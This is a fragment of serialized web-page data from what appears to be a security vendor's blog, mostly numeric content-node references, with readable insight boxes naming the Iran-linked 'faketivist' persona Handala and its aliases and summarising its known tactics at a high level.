"data":71512,"content":71513,"nodeType":866},{},[71514],{"data":71515,"marks":71516,"value":41357,"nodeType":865},{},[],{"data":71518,"content":71519,"nodeType":972},{},[],{"data":71521,"content":71522,"nodeType":981},{},[71523],{"data":71524,"marks":71525,"value":41368,"nodeType":865},{},[71526],{"type":926},{"data":71528,"content":71529,"nodeType":866},{},[71530,71533,71539],{"data":71531,"marks":71532,"value":41375,"nodeType":865},{},[],{"data":71534,"content":71535,"nodeType":889},{"uri":41378},[71536],{"data":71537,"marks":71538,"value":41383,"nodeType":865},{},[],{"data":71540,"marks":71541,"value":41387,"nodeType":865},{},[],{"data":71543,"content":71544,"nodeType":866},{},[71545],{"data":71546,"marks":71547,"value":41394,"nodeType":865},{},[],{"data":71549,"content":71550,"nodeType":1317},{},[71551],{"data":71552,"marks":71553,"value":41402,"nodeType":865},{},[71554],{"type":926},{"data":71556,"content":71557,"nodeType":866},{},[71558],{"data":71559,"marks":71560,"value":41409,"nodeType":865},{},[],{"data":71562,"content":71563,"nodeType":1616},{},[71564,71604,71635,71657],{"data":71565,"content":71566,"nodeType":1570},{},[71567],{"data":71568,"content":71569,"nodeType":866},{},[71570,71574,71577,71583,71586,71592,71595,71601],{"data":71571,"marks":71572,"value":41423,"nodeType":865},{},[71573],{"type":926},{"data":71575,"marks":71576,"value":41427,"nodeType":865},{},[],{"data":71578,"content":71579,"nodeType":889},{"uri":41430},[71580],{"data":71581,"marks":71582,"value":41435,"nodeType":865},{},[],{"data":71584,"marks":71585,"value":41439,"nodeType":865},{},[],{"data":71587,"content":71588,"nodeType":889},{"uri":41442},[71589],{"data":71590,"marks":71591,"value":41447,"nodeType":865},{},[],{"data":71593,"marks":71594,"value":41451,"nodeType":865},{},[],{"data":71596,"content":71597,"nodeType":889},{"uri":41454},[71598],{"data":71599,"marks":71600,"value":41459,"nodeType":865},{},[],{"data":71602,"marks":71603,"value":41463,"nodeType":865},{},[],{"data":71605,"content":71606,"nodeType":1570},{},[71607],{"data":71608,"content":71609,"nodeType":866},{},[71610,71614,71617,71623,71626,71632],{"data":71611,"marks":71612,"value":41474,"nodeType":865},{},[71613],{"type":926},{"data":71615,"marks":71616,"value":2717,"nodeType":865},{},[],{"data":71618,"content":71619,"nodeType":889},{"uri":41480},[71620],{"data":71621,"marks":71622,"value":41485,"nodeType":865},{},[],{"data":71624,"marks":71625,"value":41489,"nodeType":865},{},[],{"data":71627,"content":71628,"nodeType":889},{"uri":41492},[71629],{"data":71630,"marks":71631,"value":41497,"nodeType":865},{},[],{"data":71633,"marks":71634,"value":41501,"nodeType":865},{},[],{"data":71636,"content":71637,"nodeType":1570},{},[71638],{"data":71639,"content":71640,"nodeType":866},{},[71641,71645,71648,71654],{"data":71642,"marks":71643,"value":41512,"nodeType":865},{},[71644],{"type":926},{"data":71646,"marks":71647,"value":41516,"nodeType":865},{},[],{"data":71649,"content":71650,"nodeType":889},{"uri":41519},[71651],{"data":71652,"marks":71653,"value":41524,"nodeType":865},{},[],{"data":71655,"marks":71656,"value":41528,"nodeType":865},{},[],{"data":71658,"content":71659,"nodeType":1570},{},[71660],{"data":71661,"content":71662,"nodeType":866},{},[71663,71667,71670,71676],{"data":71664,"marks":71665,"value":41539,"nodeType":865},{},[71666],{"type":926},{"data":71668,"marks":71669,"value":41543,"nodeType":865},{},[],{"data":71671,"content":71672,"nodeType":889},{"uri":41519},[71673],{"data":71674,"marks":71675,"value":41550,"nodeType":865},{},[],{"data":71677,"marks":71678,"value":41554,"nodeType":865},{},[],{"data":71680,"content":71681,"nodeType":866},{},[71682,71685,71691],{"data":71683,"marks":71684,"value":995,"nodeType":865},{},[],{"data":71686,"content":71687,"nodeType":889},{"uri":41563},[71688],{"data":71689,"marks":71690,"value":41568,"nodeType":865},{},[],{"data":71692,"marks":71693,"value":41572,"nodeType":865},{},[],{"data":71695,"content":71696,"nodeType":1317},{},[71697],{"data":71698,"marks":71699,"value":41580,"nodeType":865},{},[71700],{"type":926},{"data":71702,"content":71703,"nodeType":866},{},[71704],{"data":71705,"marks":71706,"value":41587,"nodeType":865},{},[],{"data":71708,"content":71709,"nodeType":1616},{},[71710,71741,71763,71803],{"data":71711,"content":71712,"nodeType":1570},{},[71713],{"data":71714,"content":71715,"nodeType":866},{},[71716,71720,71723,71729,71732,71738],{"data":71717,"marks":71718,"value":41601,"nodeType":865},{},[71719],{"type":926},{"data":71721,"marks":71722,"value":41605,"nodeType":865},{},[],{"data":71724,"content":71725,"nodeType":889},{"uri":41608},[71726],{"data":71727,"marks":71728,"value":41613,"nodeType":865},{},[],{"data":71730,"marks":71731,"value":41617,"nodeType":865},{},[],{"data":71733,"content":71734,"nodeType":889},{"uri":41620},[71735],{"data":71736,"marks":71737,"value":41625,"nodeType":865},{},[],{"data":71739,"marks":71740,"value":41629,"nodeType":865},{},[],{"data":71742,"content":71743,"nodeType":1570},{},[71744],{"data":71745,"content":71746,"nodeType":866},{},[71747,71751,71754,71760],{"data":71748,"marks":71749,"value":41640,"nodeType":865},{},[71750],{"type":926},{"data":71752,"marks":71753,"value":41644,"nodeType":865},{},[],{"data":71755,"content":71756,"nodeType":889},{"uri":41647},[71757],{"data":71758,"marks":71759,"value":41652,"nodeType":865},{},[],{"data":71761,"marks":71762,"value":41656,"nodeType":865},{},[],{"data":71764,"content":71765,"nodeType":1570},{},[71766],{"data":71767,"content":71768,"nodeType":866},{},[71769,71773,71776,71782,71785,71791,71794,71800],{"data":71770,"marks":71771,"value":41667,"nodeType":865},{},[71772],{"type":926},{"data":71774,"marks":71775,"value":41671,"nodeType":865},{},[],{"data":71777,"content":71778,"nodeType":889},{"uri":41674},[71779],{"data":71780,"marks":71781,"value":41679,"nodeType":865},{},[],{"data":71783,"marks":71784,"value":41683,"nodeType":865},{},[],{"data":71786,"content":71787,"nodeType":889},{"uri":41686},[71788],{"data":71789,"marks":71790,"value":41691,"nodeType":865},{},[],{"data":71792,"marks":71793,"value":41695,"nodeType":865},{},[],{"data":71795,"content":71796,"nodeType":889},{"uri":41698},[71797],{"data":71798,"marks":71799,"value":41703,"nodeType":865},{},[],{"data":71801,"marks":71802,"value":41707,"nodeType":865},{},[],{"data":71804,"content":71805,"nodeType":1570},{},[71806],{"data":71807,"content":71808,"nodeType":866},{},[71809,71813],{"data":71810,"marks":71811,"value":41718,"nodeType":865},{},[71812],{"type":926},{"data":71814,"marks":71815,"value":41722,"nodeType":865},{},[],{"data":71817,"content":71818,"nodeType":866},{},[71819,71822,71828],{"data":71820,"marks":71821,"value":41729,"nodeType":865},{},[],{"data":71823,"content":71824,"nodeType":889},{"uri":41732},[71825],{"data":71826,"marks":71827,"value":41737,"nodeType":865},{},[],{"data":71829,"marks":71830,"value":41741,"nodeType":865},{},[],{"data":71832,"content":71835,"nodeType":912},{"target":71833},{"sys":71834},{"id":41746,"type":909,"linkType":910},[],{"data":71837,"content":71838,"nodeType":972},{},[],{"data":71840,"content":71841,"nodeType":981},{},[71842],{"data":71843,"marks":71844,"value":41758,"nodeType":865},{},[71845],{"type":926},{"data":71847,"content":71848,"nodeType":866},{},[71849],{"data":71850,"marks":71851,"value":41765,"nodeType":865},{},[],{"data":71853,"content":71854,"nodeType":866},{},[71855],{"data":71856,"marks":71857,"value":41772,"nodeType":865},{},[],{"data":71859,"content":71860,"nodeType":866},{},[71861],{"data":71862,"marks":71863,"value":41779,"nodeType":865},{},[],{"data":71865,"content":71866,"nodeType":972},{},[],{"data":71868,"content":71869,"nodeType":981},{},[71870],{"data":71871,"marks":71872,"value":41790,"nodeType":865},{},[71873],{"type":926},{"data":71875,"content":71876,"nodeType":866},{},[71877,71880,71886,71889,71895,71898,71902],{"data":71878,"marks":71879,"value":41797,"nodeType":865},{},[],{"data":71881,"content":71882,"nodeType":889},{"uri":41800},[71883],{"data":71884,"marks":71885,"value":41805,"nodeType":865},{},[],{"data":71887,"marks":71888,"value":41809,"nodeType":865},{},[],{"data":71890,"content":71891,"nodeType":889},{"uri":41812},[71892],{"data":71893,"marks":71894,"value":41817,"nodeType":865},{},[],{"data":71896,"marks":71897,"value":41821,"nodeType":865},{},[],{"data":71899,"marks":71900,"value":41826,"nodeType":865},{},[71901],{"type":898},{"data":71903,"marks":71904,"value":41830,"nodeType":865},{},[],{"data":71906,"content":71907,"nodeType":866},{},[71908,71911,71917,71920,71926],{"data":71909,"marks":71910,"value":41837,"nodeType":865},{},[],{"data":71912,"content":71913,"nodeType":889},{"uri":41840},[71914],{"data":71915,"marks":71916,"value":41845,"nodeType":865},{},[],{"data":71918,"marks":71919,"value":41849,"nodeType":865},{},[],{"data":71921,"content":71922,"nodeType":889},{"uri":41852},[71923],{"data":71924,"marks":71925,"value":41857,"nodeType":865},{},[],{"data":71927,"marks":71928,"value":41861,"nodeType":865},{},[],{"data":71930,"content":71931,"nodeType":866},{},[71932],{"data":71933,"marks":71934,"value":41868,"nodeType":865},{},[],{"data":71936,"content":71939,"nodeType":912},{"target":71937},{"sys":71938},{"id":41873,"type":909,"linkType":910},[],{"data":71941,"content":71942,"nodeType":972},{},[],{"data":71944,"content":71945,"nodeType":981},{},[71946],{"data":71947,"marks":71948,"value":16038,"nodeType":865},{},[71949],{"type":926},{"data":71951,"content":71952,"nodeType":866},{},[71953],{"data":71954,"marks":71955,"value":41891,"nodeType":865},{},[],{"data":71957,"content":71958,"nodeType":866},{},[71959],{"data":71960,"marks":71961,"value":41898,"nodeType":865},{},[],{"data":71963,"content":71964,"nodeType":866},{},[71965],{"data":71966,"marks":71967,"value":41905,"nodeType":865},{},[],{"data":71969,"content":71970,"nodeType":972},{},[],{"data":71972,"content":71973,"nodeType":981},{},[71974],{"data":71975,"marks":71976,"value":41916,"nodeType":865},{},[71977],{"type":926},{"data":71979,"content":71980,"nodeType":866},{},[71981],{"data":71982,"marks":71983,"value":41923,"nodeType":865},{},[],{"data":71985,"content":71986,"nodeType":866},{},[71987,71990,71996,71999,72005,72008,72014],{"data":71988,"marks":71989,"value":11372,"nodeType":865},{},[],{"data":71991,"content":71992,"nodeType":889},{"uri":11375},[71993],{"data":71994,"marks":71995,"value":11381,"nodeType":865},{},[],{"data":71997,"marks":71998,"value":2717,"nodeType":865},{},[],{"data":72000,"content":72001,"nodeType":889},{"uri":11387},[72002],{"data":72003,"marks":72004,"value":11393,"nodeType":865},{},[],{"data":72006,"marks":72007,"value":11397,"nodeType":865},{},[],{"data":72009,"content":72010,"nodeType":889},{"uri":1372},[72011],{"data":72012,"marks":72013,"value":11405,"nodeType":865},{},[],{"data":72015,"marks":72016,"value":1615,"nodeType":865},{},[],{"entries":72018},{"hyperlink":72019,"inline":72020,"block":72021},[],[],[72022,72036,72054],{"sys":72023,"__typename":5503,"content":72024,"name":72035,"title":59},{"id":41070},{"json":72025},{"nodeType":1382,"data":72026,"content":72027},{},[72028],{"nodeType":866,"data":72029,"content":72030},{},[72031],{"nodeType":865,"value":72032,"marks":72033,"data":72034},"Handala is a public-facing \"faketivist\" persona, also known as Handala Hack Team, Void Manticore, Storm-0842, Dune, Red Sandstorm, and Banished Kitten. The group also operates under regional personas like Karma and Homeland Justice. We'll refer to them as Handala in this piece.",[],{},"Handala blog insight box 1",{"sys":72037,"__typename":5503,"content":72038,"name":72053,"title":59},{"id":41746},{"json":72039},{"nodeType":1382,"data":72040,"content":72041},{},[72042],{"nodeType":866,"data":72043,"content":72044},{},[72045,72049],{"nodeType":865,"value":72046,"marks":72047,"data":72048},"So, t",[],{},{"nodeType":865,"value":72050,"marks":72051,"data":72052},"he Stryker attack path is operationally consistent with the direction the Iranian threat ecosystem has been moving, even though it departs from Handala's own documented TTPs. Many of Handala's previous methods — targeting managed service providers and IT vendors, malware spearphishing, VPN credential stuffing — can also be repurposed in identity-focused social engineering attacks, particularly when boosted with widely available tools already powering criminal campaigns.",[],{},"Handala blog insight box 3",{"sys":72055,"__typename":1414,"type":1415,"ctaText":68728,"buttonLabel":68729,"buttonColour":1418,"buttonUrl":27},{"id":41873},{"items":72057},[],{},"Analyzing Iran-nexus TTP evolution in 2026","breach-analysis",{"items":72062},[72063,72891,73639],{"__typename":1429,"sys":72064,"content":72065,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":72881,"authorsCollection":72887},{"id":52948},{"json":72066},{"data":72067,"content":72068,"nodeType":1382},{},[72069,72075,72081,72087,72090,72097,72103,72109,72114,72120,72125,72141,72147,72157,72160,72167,72173,72186,72192,72202,72207,72210,72217,72224,72229,72237,72253,72261,72267,72275,72290,72298,72304,72312,72338,72346,72352,72360,72376,72381,72389,72395,72403,72436,72439,72446,72454,72470,72478,72484,72492,72518,72523,72531,72537,72542,72545,72552,72560,72566,72617,72622,72625,72632,72640,72646,72651,72654,72661,72667,72673,72733,72739,72794,72800,72803,72810,72816,72822,72827,72830,72837,72843,72849,72855],{"data":72070,"content":72071,"nodeType":866},{},[72072],{"data":72073,"marks":72074,"value":52959,"nodeType":865},{},[],{"data":72076,"content":72077,"nodeType":866},{},[72078],{"data":72079,"marks":72080,"value":52966,"nodeType":865},{},[],{"data":72082,"content":72083,"nodeType":866},{},[72084],{"data":72085,"marks":72086,"value":52973,"nodeType":865},{},[],{"data":72088,"content":72089,"nodeType":972},{},[],{"data":72091,"content":72092,"nodeType":981},{},[72093],{"data":72094,"marks":72095,"value":52984,"nodeType":865},{},[72096],{"type":926},{"data":72098,"content":72099,"nodeType":866},{},[72100],{"data":72101,"marks":72102,"value":52991,"nodeType":865},{},[],{"data":72104,"content":72105,"nodeType":866},{},[72106],{"data":72107,"marks":72108,"value":52998,"nodeType":865},{},[],{"data":72110,"content":72113,"nodeType":912},{"target":72111},{"sys":72112},{"id":53003,"type":909,"linkType":910},[],{"data":72115,"content":72116,"nodeType":866},{},[72117],{"data":72118,"marks":72119,"value":53011,"nodeType":865},{},[],{"data":72121,"content":72124,"nodeType":912},{"target":72122},{"sys":72123},{"id":53016,"type":909,"linkType":910},[],{"data":72126,"content":72127,"nodeType":866},{},[72128,72131,72138],{"data":72129,"marks":72130,"value":53024,"nodeType":865},{},[],{"data":72132,"content":72133,"nodeType":889},{"uri":15501},[72134],{"data":72135,"marks":72136,"value":53032,"nodeType":865},{},[72137],{"type":943},{"data":72139,"marks":72140,"value":53036,"nodeType":865},{},[],{"data":72142,"content":72143,"nodeType":866},{},[72144],{"data":72145,"marks":72146,"value":53043,"nodeType":865},{},[],{"data":72148,"content":72149,"nodeType":866},{},[72150,72153],{"data":72151,"marks":72152,"value":53050,"nodeType":865},{},[],{"data":72154,"marks":72155,"value":53055,"nodeType":865},{},[72156],{"type":926},{"data":72158,"content":72159,"nodeType":972},{},[],{"data":72161,"content":72162,"nodeType":981},{},[72163],{"data":72164,"marks":72165,"value":53066,"nodeType":865},{},[72166],{"type":926},{"data":72168,"content":72169,"nodeType":866},{},[72170],{"data":72171,"marks":72172,"value":53073,"nodeType":865},{},[],{"data":72174,"content":72175,"nodeType":866},{},[72176,72179,72183],{"data":72177,"marks":72178,"value":53080,"nodeType":865},{},[],{"data":72180,"marks":72181,"value":53085,"nodeType":865},{},[72182],{"type":926},{"data":72184,"marks":72185,"value":53089,"nodeType":865},{},[],{"data":72187,"content":72188,"nodeType":866},{},[72189],{"data":72190,"marks":72191,"value":53096,"nodeType":865},{},[],{"data":72193,"content":72194,"nodeType":866},{},[72195,72198],{"data":72196,"marks":72197,"value":53103,"nodeType":865},{},[],{"data":72199,"marks":72200,"value":53108,"nodeType":865},{},[72201],{"type":926},{"data":72203,"content":72206,"nodeType":912},{"target":72204},{"sys":72205},{"id":53113,"type":909,"linkType":910},[],{"data":72208,"content":72209,"nodeType":972},{},[],{"data":72211,"content":72212,"nodeType":981},{},[72213],{"data":72214,"marks":72215,"value":53125,"nodeType":865},{},[72216],{"type":926},{"data":72218,"content":72219,"nodeType":1317},{},[72220],{"data":72221,"marks":72222,"value":53133,"nodeType":865},{},[72223],{"type":926},{"data":72225,"content":72228,"nodeType":912},{"target":72226},{"sys":72227},{"id":53138,"type":909,"linkType":910},[],{"data":72230,"content":72231,"nodeType":866},{},[72232],{"data":72233,"marks":72234,"value":53148,"nodeType":865},{},[72235,72236],{"type":926},{"type":943},{"data":72238,"content":72239,"nodeType":866},{},[72240,72243,72250],{"data":72241,"marks":72242,"value":53155,"nodeType":865},{},[],{"data":72244,"content":72245,"nodeType":889},{"uri":53158},[72246],{"data":72247,"marks":72248,"value":53164,"nodeType":865},{},[72249],{"type":943},{"data":72251,"marks":72252,"value":53168,"nodeType":865},{},[],{"data":72254,"content":72255,"nodeType":866},{},[72256],{"data":72257,"marks":72258,"value":53177,"nodeType":865},{},[72259,72260],{"type":926},{"type":943},{"data":72262,"content":72263,"nodeType":866},{},[72264],{"data":72265,"marks":72266,"value":53184,"nodeType":865},{},[],{"data":72268,"content":72269,"nodeType":866},{},[72270],{"data":72271,"marks":72272,"value":53193,"nodeType":865},{},[72273,72274],{"type":926},{"type":943},{"data":72276,"content":72277,"nodeType":866},{},[72278,72281,72287],{"data":72279,"marks":72280,"value":53200,"nodeType":865},{},[],{"data":72282,"content":72283,"nodeType":889},{"uri":53203},[72284],{"data":72285,"marks":72286,"value":53208,"nodeType":865},{},[],{"data":72288,"marks":72289,"value":53212,"nodeType":865},{},[],{"data":72291,"content":72292,"nodeType":866},{},[72293],{"data":72294,"marks":72295,"value":53221,"nodeType":865},{},[72296,72297],{"type":926},{"type":943},{"data":72299,"content":72300,"nodeType":866},{},[72301],{"data":72302,"marks":72303,"value":53228,"nodeType":865},{},[],{"data":72305,"content":72306,"nodeType":866},{},[72307],{"data":72308,"marks":72309,"value":53237,"nodeType":865},{},[72310,72311],{"type":926},{"type":943},{"data":72313,"content":72314,"nodeType":866},{},[72315,72318,72325,72328,72335],{"data":72316,"marks":72317,"value":53244,"nodeType":865},{},[],{"data":72319,"content":72320,"nodeType":889},{"uri":3488},[72321],{"data":72322,"marks":72323,"value":53252,"nodeType":865},{},[72324],{"type":943},{"data":72326,"marks":72327,"value":53256,"nodeType":865},{},[],{"data":72329,"content":72330,"nodeType":889},{"uri":53259},[72331],{"data":72332,"marks":72333,"value":6715,"nodeType":865},{},[72334],{"type":943},{"data":72336,"marks":72337,"value":53268,"nodeType":865},{},[],{"data":72339,"content":72340,"nodeType":866},{},[72341],{"data":72342,"marks":72343,"value":53277,"nodeType":865},{},[72344,72345],{"type":926},{"type":943},{"data":72347,"content":72348,"nodeType":866},{},[72349],{"data":72350,"marks":72351,"value":53284,"nodeType":865},{},[],{"data":72353,"content":72354,"nodeType":866},{},[72355],{"data":72356,"marks":72357,"value":53293,"nodeType":865},{},[72358,72359],{"type":926},{"type":943},{"data":72361,"content":72362,"nodeType":866},{},[72363,72366,72373],{"data":72364,"marks":72365,"value":53300,"nodeType":865},{},[],{"data":72367,"content":72368,"nodeType":889},{"uri":53259},[72369],{"data":72370,"marks":72371,"value":6715,"nodeType":865},{},[72372],{"type":943},{"data":72374,"marks":72375,"value":53311,"nodeType":865},{},[],{"data":72377,"content":72380,"nodeType":912},{"target":72378},{"sys":72379},{"id":53316,"type":909,"linkType":910},[],{"data":72382,"content":72383,"nodeType":866},{},[72384],{"data":72385,"marks":72386,"value":53326,"nodeType":865},{},[72387,72388],{"type":926},{"type":943},{"data":72390,"content":72391,"nodeType":866},{},[72392],{"data":72393,"marks":72394,"value":53333,"nodeType":865},{},[],{"data":72396,"content":72397,"nodeType":866},{},[72398],{"data":72399,"marks":72400,"value":53342,"nodeType":865},{},[72401,72402],{"type":926},{"type":943},{"data":72404,"content":72405,"nodeType":866},{},[72406,72409,72415,72418,72424,72427,72433],{"data":72407,"marks":72408,"value":53349,"nodeType":865},{},[],{"data":72410,"content":72411,"nodeType":889},{"uri":53352},[72412],{"data":72413,"marks":72414,"value":53357,"nodeType":865},{},[],{"data":72416,"marks":72417,"value":4988,"nodeType":865},{},[],{"data":72419,"content":72420,"nodeType":889},{"uri":53363},[72421],{"data":72422,"marks":72423,"value":53368,"nodeType":865},{},[],{"data":72425,"marks":72426,"value":53372,"nodeType":865},{},[],{"data":72428,"content":72429,"nodeType":889},{"uri":13013},[72430],{"data":72431,"marks":72432,"value":53379,"nodeType":865},{},[],{"data":72434,"marks":72435,"value":53383,"nodeType":865},{},[],{"data":72437,"content":72438,"nodeType":972},{},[],{"data":72440,"content":72441,"nodeType":1317},{},[72442],{"data":72443,"marks":72444,"value":53394,"nodeType":865},{},[72445],{"type":926},{"data":72447,"content":72448,"nodeType":866},{},[72449],{"data":72450,"marks":72451,"value":53403,"nodeType":865},{},[72452,72453],{"type":926},{"type":943},{"data":72455,"content":72456,"nodeType":866},{},[72457,72460,72467],{"data":72458,"marks":72459,"value":53410,"nodeType":865},{},[],{"data":72461,"content":72462,"nodeType":889},{"uri":53413},[72463],{"data":72464,"marks":72465,"value":53419,"nodeType":865},{},[72466],{"type":943},{"data":72468,"marks":72469,"value":53423,"nodeType":865},{},[],{"data":72471,"content":72472,"nodeType":866},{},[72473],{"data":72474,"marks":72475,"value":53432,"nodeType":865},{},[72476,72477],{"type":926},{"type":943},{"data":72479,"content":72480,"nodeType":866},{},[72481],{"data":72482,"marks":72483,"value":53439,"nodeType":865},{},[],{"data":72485,"content":72486,"nodeType":866},{},[72487],{"data":72488,"marks":72489,"value":53448,"nodeType":865},{},[72490,72491],{"type":926},{"type":943},{"data":72493,"content":72494,"nodeType":866},{},[72495,72498,72505,72508,72515],{"data":72496,"marks":72497,"value":53455,"nodeType":865},{},[],{"data":72499,"content":72500,"nodeType":889},{"uri":53458},[72501],{"data":72502,"marks":72503,"value":53464,"nodeType":865},{},[72504],{"type":943},{"data":72506,"marks":72507,"value":53468,"nodeType":865},{},[],{"data":72509,"content":72510,"nodeType":889},{"uri":53471},[72511],{"data":72512,"marks":72513,"value":53477,"nodeType":865},{},[72514],{"type":943},{"data":72516,"marks":72517,"value":53481,"nodeType":865},{},[],{"data":72519,"content":72522,"nodeType":912},{"target":72520},{"sys":72521},{"id":53486,"type":909,"linkType":910},[],{"data":72524,"content":72525,"nodeType":866},{},[72526],{"data":72527,"marks":72528,"value":53496,"nodeType":865},{},[72529,72530],{"type":926},{"type":943},{"data":72532,"content":72533,"nodeType":866},{},[72534],{"data":72535,"marks":72536,"value":53503,"nodeType":865},{},[],{"data":72538,"content":72541,"nodeType":912},{"target":72539},{"sys":72540},{"id":53508,"type":909,"linkType":910},[],{"data":72543,"content":72544,"nodeType":972},{},[],{"data":72546,"content":72547,"nodeType":1317},{},[72548],{"data":72549,"marks":72550,"value":694,"nodeType":865},{},[72551],{"type":926},{"data":72553,"content":72554,"nodeType":866},{},[72555],{"data":72556,"marks":72557,"value":53528,"nodeType":865},{},[72558,72559],{"type":926},{"type":943},{"data":72561,"content":72562,"nodeType":866},{},[72563],{"data":72564,"marks":72565,"value":53535,"nodeType":865},{},[],{"data":72567,"content":72568,"nodeType":1616},{},[72569,72582,72595],{"data":72570,"content":72571,"nodeType":1570},{},[72572],{"data":72573,"content":72574,"nodeType":866},{},[72575,72579],{"data":72576,"marks":72577,"value":53549,"nodeType":865},{},[72578],{"type":926},{"data":72580,"marks":72581,"value":53553,"nodeType":865},{},[],{"data":72583,"content":72584,"nodeType":1570},{},[72585],{"data":72586,"content":72587,"nodeType":866},{},[72588,72592],{"data":72589,"marks":72590,"value":53564,"nodeType":865},{},[72591],{"type":926},{"data":72593,"marks":72594,"value":53568,"nodeType":865},{},[],{"data":72596,"content":72597,"nodeType":1570},{},[72598],{"data":72599,"content":72600,"nodeType":866},{},[72601,72605,72608,72614],{"data":72602,"marks":72603,"value":53579,"nodeType":865},{},[72604],{"type":926},{"data":72606,"marks":72607,"value":53583,"nodeType":865},{},[],{"data":72609,"content":72610,"nodeType":889},{"uri":40710},[72611],{"data":72612,"marks":72613,"value":53590,"nodeType":865},{},[],{"data":72615,"marks":72616,"value":53594,"nodeType":865},{},[],{"data":72618,"content":72621,"nodeType":912},{"target":72619},{"sys":72620},{"id":53599,"type":909,"linkType":910},[],{"data":72623,"content":72624,"nodeType":972},{},[],{"data":72626,"content":72627,"nodeType":1317},{},[72628],{"data":72629,"marks":72630,"value":699,"nodeType":865},{},[72631],{"type":926},{"data":72633,"content":72634,"nodeType":866},{},[72635],{"data":72636,"marks":72637,"value":53619,"nodeType":865},{},[72638,72639],{"type":926},{"type":943},{"data":72641,"content":72642,"nodeType":866},{},[72643],{"data":72644,"marks":72645,"value":53626,"nodeType":865},{},[],{"data":72647,"content":72650,"nodeType":912},{"target":72648},{"sys":72649},{"id":53631,"type":909,"linkType":910},[],{"data":72652,"content":72653,"nodeType":972},{},[],{"data":72655,"content":72656,"nodeType":981},{},[72657],{"data":72658,"marks":72659,"value":14026,"nodeType":865},{},[72660],{"type":926},{"data":72662,"content":72663,"nodeType":866},{},[72664],{"data":72665,"marks":72666,"value":53649,"nodeType":865},{},[],{"data":72668,"content":72669,"nodeType":866},{},[72670],{"data":72671,"marks":72672,"value":53656,"nodeType":865},{},[],{"data":72674,"content":72675,"nodeType":1616},{},[72676,72695,72714],{"data":72677,"content":72678,"nodeType":1570},{},[72679],{"data":72680,"content":72681,"nodeType":866},{},[72682,72685,72692],{"data":72683,"marks":72684,"value":53669,"nodeType":865},{},[],{"data":72686,"content":72687,"nodeType":889},{"uri":53672},[72688],{"data":72689,"marks":72690,"value":8641,"nodeType":865},{},[72691],{"type":943},{"data":72693,"marks":72694,"value":53681,"nodeType":865},{},[],{"data":72696,"content":72697,"nodeType":1570},{},[72698],{"data":72699,"content":72700,"nodeType":866},{},[72701,72704,72711],{"data":72702,"marks":72703,"value":53691,"nodeType":865},{},[],{"data":72705,"content":72706,"nodeType":889},{"uri":53694},[72707],{"data":72708,"marks":72709,"value":53700,"nodeType":865},{},[72710],{"type":943},{"data":72712,"marks":72713,"value":53681,"nodeType":865},{},[],{"data":72715,"content":72716,"nodeType":1570},{},[72717],{"data":72718,"content":72719,"nodeType":866},{},[72720,72723,72730],{"data":72721,"marks":72722,"value":53713,"nodeType":865},{},[],{"data":72724,"content":72725,"nodeType":889},{"uri":1063},[72726],{"data":72727,"marks":72728,"value":53721,"nodeType":865},{},[72729],{"type":943},{"data":72731,"marks":72732,"value":53681,"nodeType":865},{},[],{"data":72734,"content":72735,"nodeType":866},{},[72736],{"data":72737,"marks":72738,"value":53731,"nodeType":865},{},[],{"data":72740,"content":72741,"nodeType":1616},{},[72742,72755,72768,72781],{"data":72743,"content":72744,"nodeType":1570},{},[72745],{"data":72746,"content":72747,"nodeType":866},{},[72748,72752],{"data":72749,"marks":72750,"value":53745,"nodeType":865},{},[72751],{"type":926},{"data":72753,"marks":72754,"value":53749,"nodeType":865},{},[],{"data":72756,"content":72757,"nodeType":1570},{},[72758],{"data":72759,"content":72760,"nodeType":866},{},[72761,72765],{"data":72762,"marks":72763,"value":53760,"nodeType":865},{},[72764],{"type":926},{"data":72766,"marks":72767,"value":53764,"nodeType":865},{},[],{"data":72769,"content":72770,"nodeType":1570},{},[72771],{"data":72772,"content":72773,"nodeType":866},{},[72774,72778],{"data":72775,"marks":72776,"value":53775,"nodeType":865},{},[72777],{"type":926},{"data":72779,"marks":72780,"value":53779,"nodeType":865},{},[],{"data":72782,"content":72783,"nodeType":1570},{},[72784],{"data":72785,"content":72786,"nodeType":866},{},[72787,72791],{"data":72788,"marks":72789,"value":53790,"nodeType":865},{},[72790],{"type":926},{"data":72792,"marks":72793,"value":53794,"nodeType":865},{},[],{"data":72795,"content":72796,"nodeType":866},{},[72797],{"data":72798,"marks":72799,"value":53801,"nodeType":865},{},[],{"data":72801,"content":72802,"nodeType":972},{},[],{"data":72804,"content":72805,"nodeType":981},{},[72806],{"data":72807,"marks":72808,"value":53812,"nodeType":865},{},[72809],{"type":926},{"data":72811,"content":72812,"nodeType":866},{},[72813],{"data":72814,"marks":72815,"value":53819,"nodeType":865},{},[],{"data":72817,"content":72818,"nodeType":866},{},[72819],{"data":72820,"marks":72821,"value":53826,"nodeType":865},{},[],{"data":72823,"content":72826,"nodeType":912},{"target":72824},{"sys":72825},{"id":53831,"type":909,"linkType":910},[],{"data":72828,"content":72829,"nodeType":972},{},[],{"data":72831,"content":72832,"nodeType":981},{},[72833],{"data":72834,"marks":72835,"value":6331,"nodeType":865},{},[72836],{"type":926},{"data":72838,"content":72839,"nodeType":866},{},[72840],{"data":72841,"marks":72842,"value":53849,"nodeType":865},{},[],{"data":72844,"content":72845,"nodeType":866},{},[72846],{"data":72847,"marks":72848,"value":53856,"nodeType":865},{},[],{"data":72850,"content":72851,"nodeType":866},{},[72852],{"data":72853,"marks":72854,"value":53863,"nodeType":865},{},[],{"data":72856,"content":72857,"nodeType":866},{},[72858,72861,72868,72871,72878],{"data":72859,"marks":72860,"value":11372,"nodeType":865},{},[],{"data":72862,"content":72863,"nodeType":889},{"uri":11375},[72864],{"data":72865,"marks":72866,"value":11381,"nodeType":865},{},[72867],{"type":943},{"data":72869,"marks":72870,"value":53880,"nodeType":865},{},[],{"data":72872,"content":72873,"nodeType":889},{"uri":1372},[72874],{"data":72875,"marks":72876,"value":11405,"nodeType":865},{},[72877],{"type":943},{"data":72879,"marks":72880,"value":1615,"nodeType":865},{},[],{"items":72882},[72883,72885],{"sys":72884,"name":7796},{"id":7795},{"sys":72886,"name":342},{"id":4642},{"items":72888},[72889],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":72890},{"url":7804},{"__typename":1429,"sys":72892,"content":72893,"title":36702,"synopsis":67367,"hashTags":59,"publishedDate":67368,"slug":36703,"tagsCollection":73629,"authorsCollection":73635},{"id":33802},{"json":72894},{"data":72895,"content":72896,"nodeType":1382},{},[72897,72904,72910,72916,72922,72932,72938,72943,72948,72951,72958,72964,72970,72975,72991,72997,7300